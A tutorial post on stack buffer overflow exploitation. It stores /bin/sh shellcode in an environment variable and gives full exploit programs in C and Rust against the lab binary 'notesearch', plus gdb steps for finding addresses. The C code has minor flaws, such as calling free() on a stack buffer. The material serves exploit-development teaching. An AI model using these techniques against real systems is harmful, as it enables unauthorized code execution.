Store shellcode in environment variable
In the previous post we explained how stack-based buffer overflows work. In the last exercise, we inserted the shellcode in the stack. However, this might be a problem. What happens if the shellcode doesn’t fit in the stack? We can store it in an environment variable.
Manually store shellcode in env var
We will export the shellcode manually and use it in our exploit.
Let’s keep working with the notesearch
program (the last exercise of
the previous post). Remember that the shellcode was
\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05
.
We need to export it as a binary into the env var. Otherwise, the code
won’t be executed.
echo -e "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05" > shellcode.bin
export SHELLCODE=$(cat shellcode.bin)
The terminal will complain about the encoding but don’t worry. It’s still working.
The next step is debugging the exploit and searching the address where the environment variable is in the stack. Environment variables are in the lowest positions.
env gdb ~/Desktop/overflow/notesearch
We can place a break in the main function to inspect the stack frame.
The shellcode is at 0x7fffffffe975
. Notice that if the user adds or
removes environment variables, the memory address will change. We can
execute
~/Desktop/overflow/notesearch $(perl -e 'print "\x90" x 120, "\x75\xe9\xff\xff\xff\x7f"')
.
Remember, we use the first 120 bytes to reach the return address memory
location.
Automating the attack
Another advantage of storing the shellcode in an environment variable is that automating the attack is easier. C execle function allows to execute files with the given arguments and environment variables.
int execle(const char *path, const char *arg,..., char * const envp[]);
We can execute the binary with just the shellcode in the environment
variables. Hence, we get rid of other environment variables that could
modify the memory address. We can use gdb, as before, to get the new
memory address. There’s one difference, though. Since we want to debug
the program called with execle
, we need to allow gdb to debug it.
Execute set follow-fork-mode child
in gdb and add a break to the main
function. It will eventually stop in notesearch
. Once there, search
the shellcode in the stack frame as we did before.
The exploit in C is quite self-explanatory. We create the argument, the
environment and execute notesearch
with them.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
char shellcode[]="\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05";
int main(int argc, char *argv[]) {
char buffer[120 + 8];
memset(buffer, 'a', 120);
memcpy(&buffer[120], "\x75\xe9\xff\xff\xff\x7f", 8);
char* env[2] = {shellcode, 0};
execle("notesearch", "./notesearch", buffer, 0, env);
free(buffer);
}
The same exploit in Rust.
use std::ffi::OsStr;
use std::process::Command;
fn main() {
let shellcode = unsafe {
OsStr::from_encoded_bytes_unchecked(&[
0x48, 0x31, 0xf6, 0x56, 0x48, 0xbf, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68,
0x57, 0x54, 0x5f, 0x6a, 0x3b, 0x58, 0x99, 0x0f, 0x05,
])
};
let shellcode_address = [0xd3, 0xef, 0xff, 0xff, 0xff, 0x7f];
let memory = [0x61; 120]
.iter()
.chain(shellcode_address.iter())
.map(|x| *x as u8)
.collect::<Vec<u8>>();
let memory_arg = unsafe { OsStr::from_encoded_bytes_unchecked(&memory) };
Command::new("./notesearch")
.arg(memory_arg)
.env_clear()
.env("SHELLCODE", shellcode)
.spawn()
.unwrap()
.wait_with_output()
.unwrap();
}